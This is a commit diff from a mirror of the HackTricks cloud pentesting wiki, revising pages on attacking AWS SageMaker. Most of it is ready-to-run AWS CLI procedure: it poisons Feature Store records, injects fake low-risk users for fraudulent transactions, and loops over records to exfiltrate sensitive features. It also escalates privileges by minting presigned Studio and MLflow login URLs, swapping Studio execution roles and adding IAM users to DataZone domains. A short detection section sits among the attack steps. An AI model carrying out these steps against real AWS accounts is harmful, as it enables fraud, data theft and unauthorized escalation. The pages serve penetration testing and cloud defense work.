mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-12 07:40:49 -08:00
f
This commit is contained in:
@@ -1,53 +1,173 @@
|
||||
# SageMaker Feature Store online store poisoning
|
||||
|
||||
Abuse `sagemaker:PutRecord` on a Feature Group with OnlineStore enabled to overwrite live feature values consumed by online inference. Combined with `sagemaker:GetRecord`, an attacker can read sensitive features. This does not require access to models or endpoints.
|
||||
Abuse `sagemaker:PutRecord` on a Feature Group with OnlineStore enabled to overwrite live feature values consumed by online inference. Combined with `sagemaker:GetRecord`, an attacker can read sensitive features and exfiltrate confidential ML data. This does not require access to models or endpoints, making it a direct data-layer attack.
|
||||
|
||||
## Requirements
|
||||
- Permissions: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Target: Feature Group with OnlineStore enabled (typically backing real-time inference)
|
||||
- Complexity: **LOW** - Simple AWS CLI commands, no model manipulation required
|
||||
|
||||
## Steps
|
||||
1) Pick or create a small Online Feature Group for testing
|
||||
|
||||
### Reconnaissance
|
||||
|
||||
1) List Feature Groups with OnlineStore enabled
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
aws sagemaker list-feature-groups \
|
||||
--region $REGION \
|
||||
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
|
||||
--output table
|
||||
```
|
||||
|
||||
2) Describe a target Feature Group to understand its schema
|
||||
```bash
|
||||
FG=<feature-group-name>
|
||||
aws sagemaker describe-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG"
|
||||
```
|
||||
|
||||
Note the `RecordIdentifierFeatureName`, `EventTimeFeatureName`, and all feature definitions. These are required for crafting valid records.
|
||||
|
||||
### Attack Scenario 1: Data Poisoning (Overwrite Existing Records)
|
||||
|
||||
1) Read the current legitimate record
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
|
||||
2) Poison the record with malicious values using inline `--record` parameter
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user
|
||||
aws sagemaker-featurestore-runtime put-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record "[
|
||||
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"},
|
||||
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
|
||||
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"},
|
||||
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"},
|
||||
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"}
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
|
||||
3) Verify the poisoned data
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
|
||||
**Impact**: ML models consuming this feature will now see `risk_score=0.99` for a legitimate user, potentially blocking their transactions or services.
|
||||
|
||||
### Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records)
|
||||
|
||||
Inject completely new records with manipulated features to evade security controls:
|
||||
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
# Create fake user with artificially low risk to perform fraudulent transactions
|
||||
aws sagemaker-featurestore-runtime put-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record "[
|
||||
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"},
|
||||
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
|
||||
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"},
|
||||
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"},
|
||||
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"}
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
|
||||
Verify the injection:
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-999
|
||||
```
|
||||
|
||||
**Impact**: Attacker creates a fake identity with low risk score (0.01) that can perform high-value fraudulent transactions without triggering fraud detection.
|
||||
|
||||
### Attack Scenario 3: Sensitive Data Exfiltration
|
||||
|
||||
Read multiple records to extract confidential features and profile model behavior:
|
||||
|
||||
```bash
|
||||
# Exfiltrate data for known users
|
||||
for USER_ID in user-001 user-002 user-003 user-999; do
|
||||
echo "Exfiltrating data for ${USER_ID}:"
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string ${USER_ID}
|
||||
done
|
||||
```
|
||||
|
||||
**Impact**: Confidential features (risk scores, transaction patterns, personal data) exposed to attacker.
|
||||
|
||||
### Testing/Demo Feature Group Creation (Optional)
|
||||
|
||||
If you need to create a test Feature Group:
|
||||
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
|
||||
if [ -z "$FG" -o "$FG" = "None" ]; then
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
FG=ht-fg-$ACC-$(date +%s)
|
||||
FG=test-fg-$ACC-$(date +%s)
|
||||
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
|
||||
aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
|
||||
|
||||
aws sagemaker create-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-feature-name entity_id \
|
||||
--event-time-feature-name event_time \
|
||||
--feature-definitions "[
|
||||
{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},
|
||||
{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},
|
||||
{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"},
|
||||
{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"},
|
||||
{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"}
|
||||
]" \
|
||||
--online-store-config "{\"EnableOnlineStore\":true}" \
|
||||
--role-arn "$ROLE_ARN"
|
||||
|
||||
echo "Waiting for feature group to be in Created state..."
|
||||
for i in $(seq 1 40); do
|
||||
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
|
||||
echo $ST; [ "$ST" = "Created" ] && break; sleep 15
|
||||
echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15
|
||||
done
|
||||
fi
|
||||
|
||||
echo "Feature Group ready: $FG"
|
||||
```
|
||||
|
||||
2) Insert/overwrite an online record (poison)
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
cat > /tmp/put.json << JSON
|
||||
{
|
||||
"FeatureGroupName": "$FG",
|
||||
"Record": [
|
||||
{"FeatureName": "entity_id", "ValueAsString": "user-123"},
|
||||
{"FeatureName": "event_time", "ValueAsString": "$NOW"},
|
||||
{"FeatureName": "risk_score", "ValueAsString": "0.99"}
|
||||
],
|
||||
"TargetStores": ["OnlineStore"]
|
||||
}
|
||||
JSON
|
||||
aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
|
||||
```
|
||||
|
||||
3) Read back the record to confirm manipulation
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
|
||||
```
|
||||
## Detection
|
||||
|
||||
Expected: risk_score returns 0.99 (attacker-set), proving ability to change online features consumed by models.
|
||||
Monitor CloudTrail for suspicious patterns:
|
||||
- `PutRecord` events from unusual IAM principals or IP addresses
|
||||
- High frequency `PutRecord` or `GetRecord` calls
|
||||
- `PutRecord` with anomalous feature values (e.g., risk_score outside normal range)
|
||||
- Bulk `GetRecord` operations indicating mass exfiltration
|
||||
- Access outside normal business hours or from unexpected locations
|
||||
|
||||
## Impact
|
||||
- Real-time integrity attack: manipulate features used by production models without touching endpoints/models.
|
||||
- Confidentiality risk: read sensitive features via GetRecord from OnlineStore.
|
||||
Implement anomaly detection:
|
||||
- Feature value validation (e.g., risk_score must be 0.0-1.0)
|
||||
- Write pattern analysis (frequency, timing, source identity)
|
||||
- Data drift detection (sudden changes in feature distributions)
|
||||
|
||||
## References
|
||||
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
|
||||
@@ -37,6 +37,97 @@ aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <n
|
||||
|
||||
**Potential Impact:** Privesc to the sagemaker service role attached.
|
||||
|
||||
|
||||
## `sagemaker:CreatePresignedDomainUrl`
|
||||
|
||||
> [!WARNING]
|
||||
> This attack only works on old traditional SageMaker Studio domains, not those created by SageMaker Unified Studio. Domains from Unified Studio will return the error: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal".
|
||||
|
||||
An identity with permission to call `sagemaker:CreatePresignedDomainUrl` on a target Studio `UserProfile` can mint a login URL that authenticates directly into SageMaker Studio as that profile. This grants the attacker's browser a Studio session that inherits the profile's `ExecutionRole` permissions and full access to the profile's EFS-backed home and apps. No `iam:PassRole` or console access is required.
|
||||
|
||||
**Requirements**:
|
||||
- A SageMaker Studio `Domain` and a target `UserProfile` within it.
|
||||
- The attacker principal needs `sagemaker:CreatePresignedDomainUrl` on the target `UserProfile` (resource‑level) or `*`.
|
||||
|
||||
Minimal policy example (scoped to one UserProfile):
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "sagemaker:CreatePresignedDomainUrl",
|
||||
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
**Abuse Steps**:
|
||||
|
||||
1) Enumerate a Studio Domain and UserProfiles you can target
|
||||
```bash
|
||||
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
|
||||
aws sagemaker list-user-profiles --domain-id-equals $DOM
|
||||
TARGET_USER=<UserProfileName>
|
||||
```
|
||||
|
||||
2) Check if unified studio is not being used (attack only works on traditional SageMaker Studio domains)
|
||||
```bash
|
||||
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
|
||||
# If you get info about unified studio, this attack won't work
|
||||
```
|
||||
|
||||
3) Generate a presigned URL (valid ~5 minutes by default)
|
||||
```bash
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id $DOM \
|
||||
--user-profile-name $TARGET_USER \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
|
||||
4) Open the returned URL in a browser to sign into Studio as the target user. In a Jupyter terminal inside Studio verify the effective identity or exfiltrate the token:
|
||||
```bash
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
|
||||
Notes:
|
||||
- `--landing-uri` can be omitted. Some values (e.g., `app:JupyterLab:/lab`) may be rejected depending on Studio flavor/version; defaults typically redirect to the Studio home and then to Jupyter.
|
||||
- Org policies/VPC endpoint restrictions may still block network access; the token minting does not require console sign‑in or `iam:PassRole`.
|
||||
|
||||
**Potential Impact**: Lateral movement and privilege escalation by assuming any Studio `UserProfile` whose ARN is permitted, inheriting its `ExecutionRole` and filesystem/apps.
|
||||
|
||||
|
||||
### `sagemaker:CreatePresignedMlflowTrackingServerUrl`, `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments`
|
||||
|
||||
An identity with permission to call `sagemaker:CreatePresignedMlflowTrackingServerUrl` (and `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments` for later access) for a target SageMaker MLflow Tracking Server can mint a single‑use presigned URL that authenticates directly to the managed MLflow UI for that server. This grants the same access a legitimate user would have to the server (view/create experiments and runs, and download/upload artifacts in the server’s S3 artifact store).
|
||||
|
||||
**Requirements:**
|
||||
- A SageMaker MLflow Tracking Server in the account/region and its name.
|
||||
- The attacker principal needs `sagemaker:CreatePresignedMlflowTrackingServerUrl` on the target MLflow Tracking Server resource (or `*`).
|
||||
|
||||
**Abuse Steps**:
|
||||
|
||||
1) Enumerate MLflow Tracking Servers you can target and pick one name
|
||||
```bash
|
||||
aws sagemaker list-mlflow-tracking-servers \
|
||||
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
|
||||
TS_NAME=<tracking-server-name>
|
||||
```
|
||||
|
||||
2) Generate a presigned MLflow UI URL (valid for a short time)
|
||||
```bash
|
||||
aws sagemaker create-presigned-mlflow-tracking-server-url \
|
||||
--tracking-server-name "$TS_NAME" \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
|
||||
3) Open the returned URL in a browser to access the MLflow UI as an authenticated user for that Tracking Server.
|
||||
|
||||
**Potential Impact:** Direct access to the managed MLflow UI for the targeted Tracking Server, enabling viewing and modification of experiments/runs and retrieval or upload of artifacts stored in the server’s configured S3 artifact store, within the permissions enforced by the server configuration.
|
||||
|
||||
|
||||
### `sagemaker:CreateProcessingJob`, `iam:PassRole`
|
||||
|
||||
An attacker with those permissions can make **SageMaker execute a processing job** with a SageMaker role attached to it. By reusing one of the AWS Deep Learning Containers that already incluye Python (y ejecutando el job en la misma región que el URI), puedes lanzar código inline sin construir imágenes propias:
|
||||
@@ -198,26 +289,27 @@ aws sagemaker create-hyper-parameter-tuning-job \
|
||||
Cada entrenamiento lanzado por el proceso imprime la métrica y exfiltra las credenciales del rol indicado.
|
||||
|
||||
|
||||
### `sagemaker:UpdateUserProfile`/`UpdateSpace`/`UpdateDomain` Studio role swap (no `iam:PassRole`)
|
||||
### `sagemaker:UpdateUserProfile`, `iam:PassRole`, `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)
|
||||
|
||||
Prioridad de ExecutionRole:
|
||||
With the permission to update a SageMaker Studio User Profile, create an app, a presigned URL to the app and `iam:PassRole`, an attacker can set the `ExecutionRole` to any IAM role that the SageMaker service principal can assume. New Studio apps launched for that profile will run with the swapped role, giving interactive elevated permissions via Jupyter terminals or jobs launched from Studio.
|
||||
|
||||
- `UserProfile` override cualquier valor. Si un perfil define `ExecutionRole`, Studio siempre usará ese rol.
|
||||
- `Space` se aplica solo cuando el perfil no tiene rol propio; de lo contrario, prevalece el del perfil.
|
||||
- `Domain DefaultUserSettings` actúa como último recurso cuando ni perfil ni espacio definen un rol.
|
||||
|
||||
With permissions to update a SageMaker Studio User Profile (or Space/Domain), an attacker can set the `ExecutionRole` to any IAM role that the SageMaker service principal can assume. Unlike job-creation APIs, the Studio profile update APIs do not require `iam:PassRole`. New Studio apps launched for that profile will run with the swapped role, giving interactive elevated permissions via Jupyter terminals or jobs launched from Studio.
|
||||
> [!WARNING]
|
||||
> This attack requires that there are no applications in the profile or the app creation will fail with an error similar to: `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.`
|
||||
> If there is any app you will need `sagemaker:DeleteApp` permission to delete them first.
|
||||
|
||||
Steps:
|
||||
|
||||
```bash
|
||||
# 1) List Studio user profiles and pick a target
|
||||
# 1) List Studio domains and pick a target
|
||||
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
|
||||
|
||||
# 2) List Studio user profiles and pick a target
|
||||
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
|
||||
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
|
||||
|
||||
# 2) Update the Studio profile to use the new role (no iam:PassRole)
|
||||
# 3) Update the Studio profile to use the new role (no iam:PassRole)
|
||||
aws sagemaker update-user-profile \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
@@ -228,18 +320,61 @@ aws sagemaker describe-user-profile \
|
||||
--user-profile-name <USER> \
|
||||
--query 'UserSettings.ExecutionRole' --output text
|
||||
|
||||
# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level
|
||||
aws sagemaker update-space \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--space-name <SPACE> \
|
||||
--space-settings ExecutionRole=$ROLE_ARN
|
||||
# 3.1) Optional if you need to delete existing apps first
|
||||
# List existing apps
|
||||
aws sagemaker list-apps \
|
||||
--domain-id-equals <DOMAIN_ID>
|
||||
|
||||
aws sagemaker describe-space \
|
||||
# Delete an app
|
||||
aws sagemaker delete-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--space-name <SPACE> \
|
||||
--query 'SpaceSettings.ExecutionRole' --output text
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name <APP_NAME>
|
||||
|
||||
# 4) Optionally, change the domain default so every profile inherits the new role
|
||||
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
|
||||
aws sagemaker create-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name <APP_NAME>
|
||||
|
||||
|
||||
# 5) Generate a presigned URL to access Studio with the new domain default role
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--query AuthorizedUrl --output text
|
||||
|
||||
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
|
||||
# aws sts get-caller-identity
|
||||
# (should show the high-privilege role from domain defaults)
|
||||
|
||||
```
|
||||
|
||||
**Potential Impact**: Privilege escalation to the permissions of the specified SageMaker execution role for interactive Studio sessions.
|
||||
|
||||
|
||||
### `sagemaker:UpdateDomain`, `sagemaker:CreateApp`, `iam:PassRole`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)
|
||||
|
||||
With permissions to update a SageMaker Studio Domain, create an app, a presigned URL to the app, and `iam:PassRole`, an attacker can set the default domain `ExecutionRole` to any IAM role that the SageMaker service principal can assume. New Studio apps launched for that profile will run with the swapped role, giving interactive elevated permissions via Jupyter terminals or jobs launched from Studio.
|
||||
|
||||
> [!WARNING]
|
||||
> This attack requires that there are no applications in the domain or the app creation will fail with the error: `An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.`
|
||||
|
||||
Steps:
|
||||
|
||||
```bash
|
||||
# 1) List Studio domains and pick a target
|
||||
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
|
||||
|
||||
# 2) List Studio user profiles and pick a target
|
||||
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
|
||||
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
|
||||
|
||||
# 3) Change the domain default so every profile inherits the new role
|
||||
aws sagemaker update-domain \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--default-user-settings ExecutionRole=$ROLE_ARN
|
||||
@@ -248,23 +383,91 @@ aws sagemaker describe-domain \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--query 'DefaultUserSettings.ExecutionRole' --output text
|
||||
|
||||
# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role
|
||||
aws sagemaker create-app \
|
||||
# 3.1) Optional if you need to delete existing apps first
|
||||
# List existing apps
|
||||
aws sagemaker list-apps \
|
||||
--domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# Delete an app
|
||||
aws sagemaker delete-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name js-atk
|
||||
--app-name <APP_NAME>
|
||||
|
||||
# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run:
|
||||
# aws sts get-caller-identity # should reflect the new ExecutionRole
|
||||
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
|
||||
aws sagemaker create-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--app-type JupyterServer \
|
||||
--app-name js-domain-escalated
|
||||
|
||||
# 5) Generate a presigned URL to access Studio with the new domain default role
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--query AuthorizedUrl --output text
|
||||
|
||||
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
|
||||
# aws sts get-caller-identity
|
||||
# (should show the high-privilege role from domain defaults)
|
||||
```
|
||||
|
||||
**Potential Impact**: Privilege escalation to the permissions of the specified SageMaker execution role for interactive Studio sessions.
|
||||
|
||||
### `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`
|
||||
|
||||
An attacker with permission to create a SageMaker Studio app for a target UserProfile can launch a JupyterServer app that runs with the profile's `ExecutionRole`. This provides interactive access to the role's permissions via Jupyter terminals or jobs launched from Studio.
|
||||
|
||||
Steps:
|
||||
|
||||
```bash
|
||||
# 1) List Studio domains and pick a target
|
||||
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
|
||||
|
||||
# 2) List Studio user profiles and pick a target
|
||||
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# 3) Create a JupyterServer app for the user profile
|
||||
aws sagemaker create-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name js-privesc
|
||||
|
||||
# 4) Generate a presigned URL to access Studio
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--query AuthorizedUrl --output text
|
||||
|
||||
# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
|
||||
# aws sts get-caller-identity
|
||||
```
|
||||
|
||||
**Potential Impact**: Interactive access to the SageMaker execution role attached to the target UserProfile.
|
||||
|
||||
|
||||
### `iam:GetUser`, `datazone:CreateUserProfile`
|
||||
|
||||
An attacker with those permissions can give user access to an IAM user into a Sagemaker Unified Studio Domain by creating a DataZone User Profile for that user.
|
||||
|
||||
```bash
|
||||
# List domains
|
||||
aws datazone list-domains --region us-east-1 \
|
||||
--query "items[].{Id:id,Name:name}" \
|
||||
--output json
|
||||
|
||||
# Add IAM user as a user of the domain
|
||||
aws datazone create-user-profile \
|
||||
--region us-east-1 \
|
||||
--domain-identifier <domain-id> \
|
||||
--user-identifier <arn-user> \
|
||||
--user-type IAM_USER
|
||||
```
|
||||
|
||||
The Unified Domain URL has the following format: `https://<domain-id>.sagemaker.<region>.on.aws/` (e.g. `https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/`).
|
||||
|
||||
**Potential Impact:** Access to the Sagemaker Unified Studio Domain as a user being able to access all the resources inside the Sagemaker domain and even escalate privieleges to the role that the notebooks inside the Sagemaker Unified Studio Domain are using.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -205,7 +205,7 @@ aws sagemaker list-jumpstart-script-resources --region $REGION
|
||||
## Unauthorized Access
|
||||
|
||||
{{#ref}}
|
||||
../aws-sagemaker-unauthorized-access/README.md
|
||||
../aws-sagemaker-unauthenticated-enum/README.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
@@ -2,116 +2,12 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SageMaker Studio - Account Takeover via CreatePresignedDomainUrl (Impersonate Any UserProfile)
|
||||
## Presigned URLs for SageMaker
|
||||
|
||||
### Description
|
||||
An identity with permission to call `sagemaker:CreatePresignedDomainUrl` on a target Studio `UserProfile` can mint a login URL that authenticates directly into SageMaker Studio as that profile. This grants the attacker's browser a Studio session that inherits the profile's `ExecutionRole` permissions and full access to the profile's EFS-backed home and apps. No `iam:PassRole` or console access is required.
|
||||
If an attacker manages to obtain a presigned URL for a SageMaker resource, they can access it without any further authentication. The permissions and access level will depend on the role associated with the resource:
|
||||
|
||||
### Requirements
|
||||
- A SageMaker Studio `Domain` and a target `UserProfile` within it.
|
||||
- The attacker principal needs `sagemaker:CreatePresignedDomainUrl` on the target `UserProfile` (resource‑level) or `*`.
|
||||
|
||||
Minimal policy example (scoped to one UserProfile):
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "sagemaker:CreatePresignedDomainUrl",
|
||||
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### Abuse Steps
|
||||
|
||||
1) Enumerate a Studio Domain and UserProfiles you can target
|
||||
```bash
|
||||
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
|
||||
aws sagemaker list-user-profiles --domain-id-equals $DOM
|
||||
TARGET_USER=<UserProfileName>
|
||||
```
|
||||
|
||||
2) Generate a presigned URL (valid ~5 minutes by default)
|
||||
```bash
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id $DOM \
|
||||
--user-profile-name $TARGET_USER \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
|
||||
3) Open the returned URL in a browser to sign into Studio as the target user. In a Jupyter terminal inside Studio verify the effective identity:
|
||||
```bash
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
|
||||
Notes:
|
||||
- `--landing-uri` can be omitted. Some values (e.g., `app:JupyterLab:/lab`) may be rejected depending on Studio flavor/version; defaults typically redirect to the Studio home and then to Jupyter.
|
||||
- Org policies/VPC endpoint restrictions may still block network access; the token minting does not require console sign‑in or `iam:PassRole`.
|
||||
|
||||
### Impact
|
||||
- Lateral movement and privilege escalation by assuming any Studio `UserProfile` whose ARN is permitted, inheriting its `ExecutionRole` and filesystem/apps.
|
||||
|
||||
### Evidence (from a controlled test)
|
||||
- With only `sagemaker:CreatePresignedDomainUrl` on a target `UserProfile`, the attacker role successfully returned an `AuthorizedUrl` like:
|
||||
```
|
||||
https://studio-d-xxxxxxxxxxxx.studio.<region>.sagemaker.aws/auth?token=eyJhbGciOi...
|
||||
```
|
||||
- A direct HTTP request responds with a redirect (HTTP 302) to Studio, confirming the URL is valid and active until expiry.
|
||||
|
||||
|
||||
## SageMaker MLflow Tracking Server - ATO via CreatePresignedMlflowTrackingServerUrl
|
||||
|
||||
### Description
|
||||
An identity with permission to call `sagemaker:CreatePresignedMlflowTrackingServerUrl` for a target SageMaker MLflow Tracking Server can mint a single‑use presigned URL that authenticates directly to the managed MLflow UI for that server. This grants the same access a legitimate user would have to the server (view/create experiments and runs, and download/upload artifacts in the server’s S3 artifact store) without console access or `iam:PassRole`.
|
||||
|
||||
### Requirements
|
||||
- A SageMaker MLflow Tracking Server in the account/region and its name.
|
||||
- The attacker principal needs `sagemaker:CreatePresignedMlflowTrackingServerUrl` on the target MLflow Tracking Server resource (or `*`).
|
||||
|
||||
Minimal policy example (scoped to one Tracking Server):
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl",
|
||||
"Resource": "arn:aws:sagemaker:<region>:<account-id>:mlflow-tracking-server/<tracking-server-name>"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### Abuse Steps
|
||||
|
||||
1) Enumerate MLflow Tracking Servers you can target and pick one name
|
||||
```bash
|
||||
aws sagemaker list-mlflow-tracking-servers \
|
||||
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
|
||||
TS_NAME=<tracking-server-name>
|
||||
```
|
||||
|
||||
2) Generate a presigned MLflow UI URL (valid for a short time)
|
||||
```bash
|
||||
aws sagemaker create-presigned-mlflow-tracking-server-url \
|
||||
--tracking-server-name "$TS_NAME" \
|
||||
--expires-in-seconds 300 \
|
||||
--session-expiration-duration-in-seconds 1800 \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
|
||||
